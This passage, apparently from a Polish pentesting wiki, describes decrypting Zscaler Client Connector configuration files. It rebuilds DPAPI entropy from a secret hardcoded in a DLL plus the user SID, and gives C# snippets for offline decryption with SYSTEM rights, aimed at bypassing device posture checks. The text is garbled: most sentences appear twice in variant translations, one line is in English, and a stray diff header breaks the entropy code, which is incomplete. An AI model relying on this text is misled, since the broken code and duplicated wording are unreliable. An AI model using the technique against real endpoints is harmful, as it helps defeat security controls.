Zscaler Client Connector przechowuje kilka plików konfiguracyjnych w `C:\ProgramData\Zscaler` (np. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Każdy plik jest zaszyfrowany przy użyciu **DPAPI (Machine scope)**, ale dostawca dostarcza **custom entropy**, która jest *obliczana w czasie wykonywania* zamiast być zapisana na dysku.
Entropia jest odtwarzana z dwóch elementów:
1. Wbudowany na stałe sekret osadzony w `ZSACredentialProvider.dll`.
1. Twardo zakodowany sekret osadzony w `ZSACredentialProvider.dll`.
2. The **SID** of the Windows account the configuration belongs to.
Algorytm zaimplementowany przez DLL jest równoważny:
Algorytm implementowany przez DLL jest równoważny:
```csharp
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
@ -324,17 +324,17 @@ byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
```
Ponieważ sekret jest osadzony w DLL, który można odczytać z dysku, **każdy lokalny atakujący z uprawnieniami SYSTEM może zregenerować entropię dla dowolnego SID** i odszyfrować blobs offline:
Ponieważ sekret jest osadzony w DLL, który można odczytać z dysku, **każdy lokalny atakujący z uprawnieniami SYSTEM może odtworzyć entropię dla dowolnego SID** i odszyfrować bloby offline:
```csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
```
Deszyfrowanie daje pełną konfigurację JSON, w tym każde **sprawdzenie stanu urządzenia** i jego oczekiwaną wartość — informacje bardzo cenne przy próbach obejścia po stronie klienta.
Deszyfrowanie zwraca kompletną konfigurację JSON, zawierającą wszystkie **kontrole stanu urządzenia** oraz ich oczekiwane wartości informacje bardzo przydatne przy próbach obejścia po stronie klienta.
> Wskazówka: pozostałe zaszyfrowane artefakty (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) są chronione przez DPAPI **bez** entropii (`16` bajtów o wartości 0). Mogą więc zostać odszyfrowane bezpośrednio za pomocą `ProtectedData.Unprotect` po uzyskaniu uprawnień SYSTEM.
> WSKAZÓWKA: pozostałe zaszyfrowane artefakty (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) są chronione przez DPAPI **bez** entropii (`16` bajtów zerowych). Mogą więc zostać odszyfrowane bezpośrednio za pomocą `ProtectedData.Unprotect` po uzyskaniu uprawnień SYSTEM.
## Referencje
## Źródła
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)